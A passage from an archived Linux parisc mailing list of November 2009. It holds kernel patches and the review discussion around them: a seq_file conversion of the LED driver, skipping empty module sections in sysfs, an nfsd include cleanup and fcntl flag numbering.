>> On Tue, Nov 24, 2009 at 07:58:15PM +0200, Boaz Harrosh wrote:
>>> Some arch files had unneeded #includes directives from linux/nfsd/*.
>>> Some vfs files had unneeded #includes directives from linux/nfsd/*.
>> ...
>>> patches:
>>> [PATCH 1/5] parsic: remove unused nfsd #includes
>>> 	Some kind soul, please compile with this patch? compile
>>> 	is all that's needed.
>>
>> Boaz,
>> linux-2.6 compiles for parisc with this patch. Please add:
>>      Tested-by: Grant Grundler<grundler@parisc-linux.org>
>>
>> thanks,
>> grant
>>
>
> CCing registered parsic maintainers. Could we please get an ACK on
> this patch, and cary this through the nfsd tree?

Sure.

Acked-by: Helge Deller <deller@gmx.de>

Helge


>
> Thanks
> Boaz
>
> On 11/24/2009 07:59 PM, Boaz Harrosh wrote:
>>
>> Some unused includes removed.
>>
>> This patch is in an effort to cleanup nfsd headers and move
>> private definitions to source directory.
>>
>> Signed-off-by: Boaz Harrosh<bharrosh@panasas.com>
>> ---
>>   arch/parisc/kernel/sys_parisc32.c |    6 ------
>>   1 files changed, 0 insertions(+), 6 deletions(-)
>>
>> diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
>> index 561388b..4a8ca63 100644
>> --- a/arch/parisc/kernel/sys_parisc32.c
>> +++ b/arch/parisc/kernel/sys_parisc32.c
>> @@ -26,13 +26,7 @@
>>   #include<linux/shm.h>
>>   #include<linux/slab.h>
>>   #include<linux/uio.h>
>> -#include<linux/nfs_fs.h>
>>   #include<linux/ncp_fs.h>
>> -#include<linux/sunrpc/svc.h>
>> -#include<linux/nfsd/nfsd.h>
>> -#include<linux/nfsd/cache.h>
>> -#include<linux/nfsd/xdr.h>
>> -#include<linux/nfsd/syscall.h>
>>   #include<linux/poll.h>
>>   #include<linux/personality.h>
>>   #include<linux/stat.h>
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexey Dobriyan <adobriyan@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: convert /proc/pdc/{lcd,led} to seq_file
Date: Fri, 27 Nov 2009 09:51:12 +0300
Lines: 118
Approved: news@gmane.org
Message-ID: <20091127065112.GC26327@x200.malnet.ru>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259304688 11119 80.91.229.12 (27 Nov 2009 06:51:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Nov 2009 06:51:28 +0000 (UTC)
Cc: akpm@linux-foundation.org, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 27 07:51:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NDufm-0002iP-Ei
	for glpp-linux-parisc@lo.gmane.org; Fri, 27 Nov 2009 07:51:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751519AbZK0GvK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Nov 2009 01:51:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751620AbZK0GvK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Nov 2009 01:51:10 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:59320 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751539AbZK0GvJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Nov 2009 01:51:09 -0500
Original-Received: by ewy19 with SMTP id 19so1128997ewy.21
        for <linux-parisc@vger.kernel.org>; Thu, 26 Nov 2009 22:51:14 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:cc:subject
         :message-id:mime-version:content-type:content-disposition:user-agent;
        bh=l5ifZU60UH5/lLx/fXM6A44Fjox+BxhIgTjUSM9EXpo=;
        b=G/8qvk1jCM7w9G2NwYY6vdgHyZ8IPU/igK0Jq0e6KLX6YrL7s5ud+oLGlQHnznX8l7
         gMG7n6sx9Vn6PJslI/8zbhZsGAhouH3eDlqxc8L2aIcPOS4r6Ga+6ib1z08xs1LCuCF4
         Ytc+6KiEuRzrhxW+tXmfN+Ma9kaaEeIbPTySQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:mime-version:content-type
         :content-disposition:user-agent;
        b=iPRKh59pQ4lySnE8DqxQ92IINN1zRRIfx5yv0RlEv+6RlKEP7f/+JMilgleWVSr81Z
         CkqGQMvL69D4iagV86bYJAiy1SYPW8ontuGUM9+iIIo9bhUkFagiAFIBrL1AJNU/FdG4
         bVe36tXu2UdAYHLczXHkshhOLBASXiezYrv9c=
Original-Received: by 10.213.2.73 with SMTP id 9mr765639ebi.21.1259304674768;
        Thu, 26 Nov 2009 22:51:14 -0800 (PST)
Original-Received: from x200.malnet.ru ([213.171.34.231])
        by mx.google.com with ESMTPS id 7sm2321944eyg.33.2009.11.26.22.51.13
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 26 Nov 2009 22:51:14 -0800 (PST)
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2372
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2372>

Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>
---

 drivers/parisc/led.c |   59 +++++++++++++++++++++++++--------------------------
 1 file changed, 29 insertions(+), 30 deletions(-)

--- a/drivers/parisc/led.c
+++ b/drivers/parisc/led.c
@@ -38,6 +38,7 @@
 #include <linux/kernel_stat.h>
 #include <linux/reboot.h>
 #include <linux/proc_fs.h>
+#include <linux/seq_file.h>
 #include <linux/ctype.h>
 #include <linux/blkdev.h>
 #include <linux/workqueue.h>
@@ -147,41 +148,34 @@ device_initcall(start_task);
 static void (*led_func_ptr) (unsigned char) __read_mostly;
 
 #ifdef CONFIG_PROC_FS
-static int led_proc_read(char *page, char **start, off_t off, int count, 
-	int *eof, void *data)
+static int led_proc_show(struct seq_file *m, void *v)
 {
-	char *out = page;
-	int len;
-
-	switch ((long)data)
+	switch ((long)m->private)
 	{
 	case LED_NOLCD:
-		out += sprintf(out, "Heartbeat: %d\n", led_heartbeat);
-		out += sprintf(out, "Disk IO: %d\n", led_diskio);
-		out += sprintf(out, "LAN Rx/Tx: %d\n", led_lanrxtx);
+		seq_printf(m, "Heartbeat: %d\n", led_heartbeat);
+		seq_printf(m, "Disk IO: %d\n", led_diskio);
+		seq_printf(m, "LAN Rx/Tx: %d\n", led_lanrxtx);
 		break;
 	case LED_HASLCD:
-		out += sprintf(out, "%s\n", lcd_text);
+		seq_printf(m, "%s\n", lcd_text);
 		break;
 	default:
-		*eof = 1;
 		return 0;
 	}
+	return 0;
+}
 
-	len = out - page - off;
-	if (len < count) {
-		*eof = 1;
-		if (len <= 0) return 0;
-	} else {
-		len = count;
-	}
-	*start = page + off;
-	return len;
+static int led_proc_open(struct inode *inode, struct file *file)
+{
+	return single_open(file, led_proc_show, PDE(inode)->data);
 }
 
-static int led_proc_write(struct file *file, const char *buf, 
-	unsigned long count, void *data)
+
+static ssize_t led_proc_write(struct file *file, const char *buf,
+	size_t count, loff_t *pos)
 {
+	void *data = PDE(file->f_path.dentry->d_inode)->data;
 	char *cur, lbuf[count + 1];
 	int d;
 
@@ -234,6 +228,15 @@ parse_error:
 	return -EINVAL;
 }
 
+static const struct file_operations led_proc_fops = {
+	.owner		= THIS_MODULE,
+	.open		= led_proc_open,
+	.read		= seq_read,
+	.llseek		= seq_lseek,
+	.release	= single_release,
+	.write		= led_proc_write,
+};
+
 static int __init led_create_procfs(void)
 {
 	struct proc_dir_entry *proc_pdc_root = NULL;
@@ -243,19 +246,15 @@ static int __init led_create_procfs(void)
 
 	proc_pdc_root = proc_mkdir("pdc", 0);
 	if (!proc_pdc_root) return -1;
-	ent = create_proc_entry("led", S_IFREG|S_IRUGO|S_IWUSR, proc_pdc_root);
+	ent = proc_create_data("led", S_IRUGO|S_IWUSR, proc_pdc_root,
+				&led_proc_fops, (void *)LED_NOLCD); /* LED */
 	if (!ent) return -1;
-	ent->data = (void *)LED_NOLCD; /* LED */
-	ent->read_proc = led_proc_read;
-	ent->write_proc = led_proc_write;
 
 	if (led_type == LED_HASLCD)
 	{
-		ent = create_proc_entry("lcd", S_IFREG|S_IRUGO|S_IWUSR, proc_pdc_root);
+		ent = proc_create_data("lcd", S_IRUGO|S_IWUSR, proc_pdc_root,
+					&led_proc_fops, (void *)LED_HASLCD); /* LCD */
 		if (!ent) return -1;
-		ent->data = (void *)LED_HASLCD; /* LCD */
-		ent->read_proc = led_proc_read;
-		ent->write_proc = led_proc_write;
 	}
 
 	return 0;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Fri, 27 Nov 2009 23:11:57 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <20091127221156.GA5334@p100.box>
References: <4A89CC4D.5040801@gmx.de> <20090818050637.4C3E74730F@magilla.sf.frob.com> <1250640565.15079.3.camel@mulgrave.site> <200908251707.01610.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259359933 26503 80.91.229.12 (27 Nov 2009 22:12:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Nov 2009 22:12:13 +0000 (UTC)
To: Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	roland@redhat.com, dave
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 27 23:12:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NE92o-0006BV-Ph
	for glpp-linux-parisc@lo.gmane.org; Fri, 27 Nov 2009 23:12:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752527AbZK0WLz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Nov 2009 17:11:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752608AbZK0WLz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Nov 2009 17:11:55 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:50927 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752527AbZK0WLz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Nov 2009 17:11:55 -0500
Original-Received: (qmail invoked by alias); 27 Nov 2009 22:11:59 -0000
Original-Received: from p4FDB28C3.dip0.t-ipconnect.de (EHLO p100.box) [79.219.40.195]
  by mail.gmx.net (mp006) with SMTP; 27 Nov 2009 23:11:59 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/HflYEmk3Hnlcm2900vYmbVNs5aq5Kkhr5VhS80A
	Rp0+snD2FQaj1r
Content-Disposition: inline
In-Reply-To: <200908251707.01610.rusty@rustcorp.com.au>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.43
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2373
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2373>

* Rusty Russell <rusty@rustcorp.com.au>:
> On Wed, 19 Aug 2009 09:39:24 am James Bottomley wrote:
> > Even with the duplicate name, though, the module should be perfectly
> > loadable.
> 
> In a perfect world, yes, but there are places which assume they'll be
> unique and I always thought that reasonable.
> 
> Front of my mind is /sys/module/<MODNAME/sections/ which has one file
> per section.

I just noticed, that on parisc the duplicate sections do have a
size of "0 bytes". Objdump shows that:

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  1 .text         00000000  00000000  00000000  00000058  2**0     
                  CONTENTS, ALLOC, LOAD, READONLY, CODE            
  5 .text         00000000  00000000  00000000  000000d4  2**0       
                  CONTENTS, ALLOC, LOAD, READONLY, CODE    

> Let's figure out how it happened tho; I'd rather fail cleanly than break
> subtly and horribly later...


Since the sections are empty anyway, I don't see any reason
why those section names need to be exported via sysfs.

Let's just drop them, which works for parisc (and should for any
other architecture too).

A patch is attached to
http://bugzilla.kernel.org/show_bug.cgi?id=14703

and here:


[PATCH] modules: don't export section names of empty sections via sysfs

This patch fixes a "Badness at fs/sysfs/dir.c:487" warning on parisc, where
duplicate section names in kernel modules are common.

Signed-off-by: Helge Deller <deller@gmx.de>
CC: rusty@rustcorp.com.au
CC: James.Bottomley@HansenPartnership.com
CC: roland@redhat.com
CC: dave@hiauly1.hia.nrc.ca

diff --git a/kernel/module.c b/kernel/module.c
index 8b7d880..5842a71 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -1187,7 +1187,8 @@ static void add_sect_attrs(struct module *mod, unsigned int nsect,
 
 	/* Count loaded sections and allocate structures */
 	for (i = 0; i < nsect; i++)
-		if (sechdrs[i].sh_flags & SHF_ALLOC)
+		if (sechdrs[i].sh_flags & SHF_ALLOC
+		    && sechdrs[i].sh_size)
 			nloaded++;
 	size[0] = ALIGN(sizeof(*sect_attrs)
 			+ nloaded * sizeof(sect_attrs->attrs[0]),
@@ -1207,6 +1208,8 @@ static void add_sect_attrs(struct module *mod, unsigned int nsect,
 	for (i = 0; i < nsect; i++) {
 		if (! (sechdrs[i].sh_flags & SHF_ALLOC))
 			continue;
+		if (!sechdrs[i].sh_size)
+			continue;
 		sattr->address = sechdrs[i].sh_addr;
 		sattr->name = kstrdup(secstrings + sechdrs[i].sh_name,
 					GFP_KERNEL);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Changes to fcntl.h and F_* numbers?
Date: Fri, 27 Nov 2009 23:20:13 +0100
Lines: 87
Approved: news@gmane.org
Message-ID: <4B10509D.3020400@gmx.de>
References: <119aab440911181222v79ad775ena36a4140e80847e3@mail.gmail.com>	 <20091119032220.GG28962@bombadil.infradead.org>	 <119aab440911190900t62122ed8m987c55821ca64062@mail.gmail.com>	 <1258651414.6363.12.camel@mulgrave.site> <119aab440911201457j1727576blde3c62569f927711@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259360437 27753 80.91.229.12 (27 Nov 2009 22:20:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Nov 2009 22:20:37 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 27 23:20:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NE9Az-000107-27
	for glpp-linux-parisc@lo.gmane.org; Fri, 27 Nov 2009 23:20:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753407AbZK0WUL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Nov 2009 17:20:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750711AbZK0WUL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Nov 2009 17:20:11 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:53410 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753429AbZK0WUK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Nov 2009 17:20:10 -0500
Original-Received: (qmail invoked by alias); 27 Nov 2009 22:20:15 -0000
Original-Received: from p4FDB28C3.dip0.t-ipconnect.de (EHLO halden.box) [79.219.40.195]
  by mail.gmx.net (mp052) with SMTP; 27 Nov 2009 23:20:15 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19kqsIHSuxkkrfWm2i4764gvXVoJFzTSnP/LIALGT
	MHO/K7xWY7EmrW
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <119aab440911201457j1727576blde3c62569f927711@mail.gmail.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2374
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2374>

On 11/20/2009 11:57 PM, Carlos O'Donell wrote:
> On Thu, Nov 19, 2009 at 12:23 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com>  wrote:
>> On Thu, 2009-11-19 at 12:00 -0500, Carlos O'Donell wrote:
>>> On Wed, Nov 18, 2009 at 10:22 PM, Kyle McMartin<kyle@mcmartin.ca>  wrote:
>>>> On Wed, Nov 18, 2009 at 03:22:15PM -0500, Carlos O'Donell wrote:
>>>>> Kyle, Helge,
>>>>>
>>>>> I've seen some recent churn regarding the kernel fcntl.h and F_* numbers.
>>>>>
>>>>> If our numbers change please keep me in the loop so I can update the C
>>>>> library side.
>>>>>
>>>>
>>>> ?
>>>
>>> http://marc.info/?l=linux-api&m=125688056905828&w=2
>>
>> But this isn't parisc specific ... it's a bug CodeSourcery reported in
>> the ABI assignment in asm-generic.
>
> Yes, that's correct, the original issue doesn't apply to parisc.
>
> I pull from kyle's tree here:
> git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git
>
> In kyle's tree I see:
> "arch/parisc/include/asm/fcntl.h"
> #define F_GETOWN_EX     15
> #define F_SETOWN_EX     16
>
> The original message that Joseph Myers at CodeSourcery posted here:
> http://marc.info/?l=linux-api&m=125466028819859&w=2
>
> Does not apply to us.
>
>> We already look to have this sorted out locally in our fcntl.h ... so
>> we're not going to be changing anything, are we?  Or are you saying
>> (because we could get into trouble in future) that we should adopt the
>> asm generic ones?
>
> I don't think we have to change anything.
>
> It would probably be less maintenance for Kyle in the future if we
> adopted the generic ones for future flags.
>
> The message I referenced here:
> http://marc.info/?l=linux-api&m=125688056905828&w=2
>
> by Stephen Rothwell<sfr@canb.auug.org.au>, has a parisc specific piece here:
>
> ~~~
> diff --git a/arch/parisc/include/asm/fcntl.h b/arch/parisc/include/asm/fcntl.h
> index 5f39d55..1e1c824 100644
> --- a/arch/parisc/include/asm/fcntl.h
> +++ b/arch/parisc/include/asm/fcntl.h
> @@ -28,8 +28,6 @@
>   #define F_SETOWN	12	/*  for sockets. */
>   #define F_SETSIG	13	/*  for sockets. */
>   #define F_GETSIG	14	/*  for sockets. */
> -#define F_GETOWN_EX	15
> -#define F_SETOWN_EX	16
>
>   /* for posix fcntl() and lockf() */
>   #define F_RDLCK		01
> ~~~
>
> I don't know why he wants to remove bits from our fcntl.h.
>
> The intent of my original email was to say "Hi! I'm the libc
> maintainer, I'll fix things if you notice a problem."
>
> I'm pretty sure I'm on linux-api, but I missed this issue.
>
> Cheres,
> Carlos.

Hi Carlos,

FWIW, Stephen's patch has been applied to mainline (2.6.32-rc8) in the meantime...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: convert /proc/pdc/{lcd,led} to seq_file
Date: Fri, 27 Nov 2009 23:13:54 -0700
Lines: 138
Approved: news@gmane.org
Message-ID: <20091128061354.GA21113@lackof.org>
References: <20091127065112.GC26327@x200.malnet.ru>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259388847 15993 80.91.229.12 (28 Nov 2009 06:14:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Nov 2009 06:14:07 +0000 (UTC)
Cc: kyle@mcmartin.ca, akpm@linux-foundation.org,
	linux-parisc@vger.kernel.org
To: Alexey Dobriyan <adobriyan@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 28 07:13:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NEGZC-0004ty-V7
	for glpp-linux-parisc@lo.gmane.org; Sat, 28 Nov 2009 07:13:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751217AbZK1GNt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Nov 2009 01:13:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751235AbZK1GNt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 28 Nov 2009 01:13:49 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:48505 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751217AbZK1GNs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Nov 2009 01:13:48 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id DF70833E0168;
	Fri, 27 Nov 2009 23:13:54 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id kazuAWeHBerc; Fri, 27 Nov 2009 23:13:54 -0700 (MST)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 82EE733E0177; Fri, 27 Nov 2009 23:13:54 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20091127065112.GC26327@x200.malnet.ru>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2375
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2375>

On Fri, Nov 27, 2009 at 09:51:12AM +0300, Alexey Dobriyan wrote:
> Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>

No commit comment?

> ---
> 
>  drivers/parisc/led.c |   59 +++++++++++++++++++++++++--------------------------
>  1 file changed, 29 insertions(+), 30 deletions(-)
> 
> --- a/drivers/parisc/led.c
> +++ b/drivers/parisc/led.c
> @@ -38,6 +38,7 @@
>  #include <linux/kernel_stat.h>
>  #include <linux/reboot.h>
>  #include <linux/proc_fs.h>
> +#include <linux/seq_file.h>
>  #include <linux/ctype.h>
>  #include <linux/blkdev.h>
>  #include <linux/workqueue.h>
> @@ -147,41 +148,34 @@ device_initcall(start_task);
>  static void (*led_func_ptr) (unsigned char) __read_mostly;
>  
>  #ifdef CONFIG_PROC_FS
> -static int led_proc_read(char *page, char **start, off_t off, int count, 
> -	int *eof, void *data)
> +static int led_proc_show(struct seq_file *m, void *v)
>  {
> -	char *out = page;
> -	int len;
> -
> -	switch ((long)data)
> +	switch ((long)m->private)
>  	{
>  	case LED_NOLCD:
> -		out += sprintf(out, "Heartbeat: %d\n", led_heartbeat);
> -		out += sprintf(out, "Disk IO: %d\n", led_diskio);
> -		out += sprintf(out, "LAN Rx/Tx: %d\n", led_lanrxtx);
> +		seq_printf(m, "Heartbeat: %d\n", led_heartbeat);
> +		seq_printf(m, "Disk IO: %d\n", led_diskio);
> +		seq_printf(m, "LAN Rx/Tx: %d\n", led_lanrxtx);
>  		break;
>  	case LED_HASLCD:
> -		out += sprintf(out, "%s\n", lcd_text);
> +		seq_printf(m, "%s\n", lcd_text);
>  		break;
>  	default:
> -		*eof = 1;
>  		return 0;
>  	}
> +	return 0;
> +}
>  
> -	len = out - page - off;
> -	if (len < count) {
> -		*eof = 1;
> -		if (len <= 0) return 0;
> -	} else {
> -		len = count;
> -	}
> -	*start = page + off;
> -	return len;
> +static int led_proc_open(struct inode *inode, struct file *file)
> +{
> +	return single_open(file, led_proc_show, PDE(inode)->data);
>  }
>  
> -static int led_proc_write(struct file *file, const char *buf, 
> -	unsigned long count, void *data)
> +
> +static ssize_t led_proc_write(struct file *file, const char *buf,
> +	size_t count, loff_t *pos)
>  {
> +	void *data = PDE(file->f_path.dentry->d_inode)->data;
>  	char *cur, lbuf[count + 1];
>  	int d;
>  
> @@ -234,6 +228,15 @@ parse_error:
>  	return -EINVAL;
>  }
>  
> +static const struct file_operations led_proc_fops = {
> +	.owner		= THIS_MODULE,
> +	.open		= led_proc_open,
> +	.read		= seq_read,
> +	.llseek		= seq_lseek,
> +	.release	= single_release,
> +	.write		= led_proc_write,
> +};
> +
>  static int __init led_create_procfs(void)
>  {
>  	struct proc_dir_entry *proc_pdc_root = NULL;
> @@ -243,19 +246,15 @@ static int __init led_create_procfs(void)
>  
>  	proc_pdc_root = proc_mkdir("pdc", 0);
>  	if (!proc_pdc_root) return -1;
> -	ent = create_proc_entry("led", S_IFREG|S_IRUGO|S_IWUSR, proc_pdc_root);
> +	ent = proc_create_data("led", S_IRUGO|S_IWUSR, proc_pdc_root,
> +				&led_proc_fops, (void *)LED_NOLCD); /* LED */

Documentation/filesystems/seq_file.txt says to use create_proc_entry().
I couldn't find any documentation on proc_create_data().
Is this really the preferred API?

I reviewed the code and it looks fine to me otherwise.

Reviewed-by: Grant Grundler <grundler@parisc-linux.org>

cheers,
grant

>  	if (!ent) return -1;
> -	ent->data = (void *)LED_NOLCD; /* LED */
> -	ent->read_proc = led_proc_read;
> -	ent->write_proc = led_proc_write;
>  
>  	if (led_type == LED_HASLCD)
>  	{
> -		ent = create_proc_entry("lcd", S_IFREG|S_IRUGO|S_IWUSR, proc_pdc_root);
> +		ent = proc_create_data("lcd", S_IRUGO|S_IWUSR, proc_pdc_root,
> +					&led_proc_fops, (void *)LED_HASLCD); /* LCD */
>  		if (!ent) return -1;
> -		ent->data = (void *)LED_HASLCD; /* LCD */
> -		ent->read_proc = led_proc_read;
> -		ent->write_proc = led_proc_write;
>  	}
>  
>  	return 0;
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexey Dobriyan <adobriyan@gmail.com>
Newsgroups: gmane.linux.ports.parisc
